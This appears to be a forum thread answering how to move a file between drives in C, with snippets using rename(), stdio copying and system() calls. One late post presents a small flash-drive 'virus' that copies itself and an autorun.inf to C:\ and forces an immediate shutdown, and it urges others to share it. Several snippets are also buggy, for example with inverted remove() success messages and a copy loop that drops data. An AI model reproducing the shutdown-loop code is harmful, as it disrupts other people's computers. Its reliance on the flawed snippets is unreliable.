I want to know how to write a program that moves for example C:\ex.exe to D:\ex.exe....

What header to use? stdio.h?
what function to use?
Can i get a link of source(this program) ?

I want to know how to write a program that moves for example C:\ex.exe to D:\ex.exe....

What header to use? stdio.h?
what function to use?
Can i get a link of source(this program) ?

stdio.h has a function called rename. You can use that to copy a file to another location and remove the old file. I think. I haven't used it for that purpose in a while, so I can't really remember if it works. ;)

moving files depends on os. I assume your os is MS-Windows, so I would use the win32 api CopyFile() function. Since you want to move the file from one drive to another the file must first be copied then delete the original file. I think CopyFile() will do that for you.

Or, to be more portable, you could use standard FILE or c++ streams to copy the file and delete the original.

this compiles well but doesnt work

#include <stdio.h>

int main()
{
  rename("C:\\mdcrack", "C:\\mdlol");
  return 0;
}

this compiles well but doesnt work

It works okay for me. I'm guessing that you have a different extension on the file from the windows default. Check the return value of rename. It returns 0 on success and nonzero on failure. If it returns nonzero, you can probably use perror to find out why.

#include <stdio.h>

int main()
{
  if ( rename("C:\\mdcrack", "C:\\mdlol") )
    perror( NULL );
  return 0;
}

I'm guessing they're text files and you need a .txt extension. Your windows is probably set to hide recognized extensions, so it's easy to forget to add them. :)

worked fine

#include <stdio.h>

int main()
{
  if ( rename("C:\\mdcrack.exe", "C:\\mdlol.exe") )
    perror( NULL );
    getchar();
  return 0;
}

your original post indicated you wanted to move the file to a different driver -- from c:\ to d:\. rename() will not work in that case.

Here I have put up a small and untested code snippet which moves files in a portable way from one location to another. Just change the file paths or accept the value from user...

#include <stdio.h>
#include <stdlib.h>

int main (void)
{
    size_t len = 0 ;
    const char a[] = "c:/a/a.exe" ;
    const char b[] = "d:/b/b.exe" ;
    char buffer[BUFSIZ] = { '\0' } ;

    FILE* in = fopen( a, "rb" ) ;
    FILE* out = fopen( b, "wb" ) ;

    if( in == NULL || out == NULL )
    {
        perror( "An error occured while opening files!!!" ) ;
        in = out = 0 ;
    }

    while( (len = fread( buffer, BUFSIZ, 1, in)) > 0 )
    {
        fwrite( buffer, BUFSIZ, 1, out ) ;
    }

    fclose(in) ;
    fclose(out) ;

    if(  remove(a) )
    {
        printf( "File successfully moved. Thank you for using this mini app" ) ;
    }
    else
    {
        printf( "An error occured while moving the file!!!" ) ;
    }

    return 0 ;
}

Hope it helped, bye.

Only thing I'd add is extend the IF around the guts of the program:

#include <stdio.h>
#include <stdlib.h>

int main (void)
{
    size_t len = 0 ;
    const char a[] = "c:/a/a.exe" ;
    const char b[] = "d:/b/b.exe" ;
    char buffer[BUFSIZ] = { '\0' } ;

    FILE* in = fopen( a, "rb" ) ;
    FILE* out = fopen( b, "wb" ) ;

    if( in == NULL || out == NULL )
    {
        perror( "An error occured while opening files!!!" ) ;
        in = out = 0 ;
    }
    else    // add this else clause
    {
        while( (len = fread( buffer, BUFSIZ, 1, in)) > 0 )
        {
            fwrite( buffer, BUFSIZ, 1, out ) ;
        }
    
        fclose(in) ;
        fclose(out) ;
    
        if(  remove(a) )
        {
            printf( "File successfully moved. Thank you for using this mini app" ) ;
        }
        else
        {
            printf( "An error occured while moving the file!!!" ) ;
        }
    }

    return 0 ;
}

This way if either file doesn't open there's no sense executing the moving... ;)

This way if either file doesn't open there's no sense executing the moving... ;)

Ah...forgot to put the exit(1) statement if any of the files failed to open. Man am I going senile......:sad:

Ah...forgot to put the exit(1) statement if any of the files failed to open. Man am I going senile......:sad:

Minor point -- why call a special function like exit(1) when return(1) does the same thing? ;)

See...told you I was going senile. :D

On a serious note, as per the last draft of Standard C:

If the return type of the main function is a type compatible with int, a return from the initial call to the main function is equivalent to calling the exit function with the value returned by the main function as its argument

So in the end a return statement actually calls the exit function.

MagsG> Hi There! I'm new to this site. previously, I just crashed here trying to solve the same problem. In this problem, If you're familiar with using the WINDOWS' Command Line Interface or the CLI or CMD, then you're done. First, you need three header files
1. <stdio.h>
2. <dos.h>
3. <dir.h>

there is a command in C++ which allows your program to issue commands in the CLI and the syntax is:

system("[CLI command]_");

for example:

system("copy MIKE.EXE d:\ ");

don't forget to put a space after the back slash otherwise it will be an invalid character.

I've tried to create a virus for a flash drive that would make a computer go crazy when the flash drive is inserted named MagsG.exe and it goes:

#include"stdio.h"
#include"dos.h"
#include"dir.h"

main(){

system("copy MagsG.exe C:\ ");
system("copy autorun.inf C:\ ");
system("shutdown -s -t 00 ");

}

both MagsG.exe and its autorun is in the flash drive and as we can
observe from the code, it copies itself and its autorun to C:\ then shuts down your PC. The PC will be powered on to be shut down again since it will autorun once the computer boots from C:\

please share this idea.

commented: you are only two years late with that answer. And its wrong too. -7

>>don't forget to put a space after the back slash otherwise it will be an invalid character.

No, that doesn't fix it. You have to put two \\ if you want one in the text, such as system("copy MagsG.exe C:\\"); The space has nothing to do with fixing the error.

If your running on WINDOWS then:

use this as a mover:

#include <fstream>
#include <iostream>
#include <stdio.h>
using namespace std;

int main () {
ofstream myfile;
myfile.open("mover.bat");
if this is on XP use copy command
myfile << "move originalfilethatyouwanttomove thedirectoryyouwanttomoveitto /Y";
ifstream prog;
prog.open("mover.bat");
system("pause");
}

.BAT is a file exstention used for MS-DOS or known as Command Prompt. Command Prompt can be accessed by Run and typing CMD(a black window will pop up). MS-DOS is considered as a dead language due to the newer and more powerful languages such as C++, etc.
I learned MS-DOS 2 yrs ago, im currently 15 yrs now.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.